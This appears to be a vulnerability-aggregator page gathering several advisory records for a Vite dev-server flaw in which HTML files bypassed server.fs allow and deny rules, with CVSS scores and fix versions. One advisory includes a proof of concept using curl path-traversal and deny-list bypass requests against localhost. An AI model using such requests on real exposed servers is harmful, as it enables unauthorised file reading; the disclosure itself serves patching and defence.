Vite's `server.fs` settings were not applied to HTML files

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, any HTML files on the machine were served regardless of the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or server.host config option) and use `appType: 'spa'` (default) or `appType: 'mpa'` are affected. This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.

Source published

8 Sep 2025 22:56:58 UTC

Source modified

9 Sep 2025 13:29:30 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, any HTML files on the machine were served regardless of the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or server.host config option) and use `appType: 'spa'` (default) or `appType: 'mpa'` are affected. This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.

Source published

Sep 8, 2025, 10:56:58 PM (timezone not stated)

Source modified

Sep 9, 2025, 1:29:30 PM (timezone not stated)

Observed here

11 Nov 2026 03:37:05 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, any HTML files on the machine were served regardless of the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or server.host config option) and use `appType: 'spa'` (default) or `appType: 'mpa'` are affected. This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.

Source published

8 Sep 2025 23:15:36 UTC

Source modified

30 Sep 2026 23:10:00 UTC

Observed here

25 Oct 2026 03:17:18 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

### Summary Any HTML files on the machine were served regardless of the `server.fs` settings. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) - `appType: 'spa'` (default) or `appType: 'mpa'` is used This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. ### Details The [serveStaticMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L123) function is in charge of serving static files from the server. It returns the [viteServeStaticMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L136) function which runs the needed tests and serves the page. The viteServeStaticMiddleware function [checks if the extension of the requested file is ".html"](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L144). If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case [htmlFallbackMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/htmlFallback.ts#L14), and then to [indexHtmlMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/indexHtml.ts#L438). These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client. ### PoC Execute the following shell commands: ``` npm create vite@latest cd vite-project/ echo "secret" > /tmp/secret.html npm install npm run dev ``` Then, in a different shell, run the following command: `curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'` The contents of /tmp/secret.html will be returned. This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell: ``` echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js) mkdir secret_files echo "secret txt" > secret_files/secret.txt echo "secret html" > secret_files/secret.html npm run dev ``` Then, in a different shell, run the following command: `curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'` You will receive a 403 HTTP Response,  because everything in the secret_files directory is denied. Now in the same shell run the following command: `curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'` You will receive the contents of secret_files/secret.html.

Source published

9 Sep 2025 20:54:42 UTC

Source modified

10 Sep 2026 03:50:28 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Publisher rating · LOW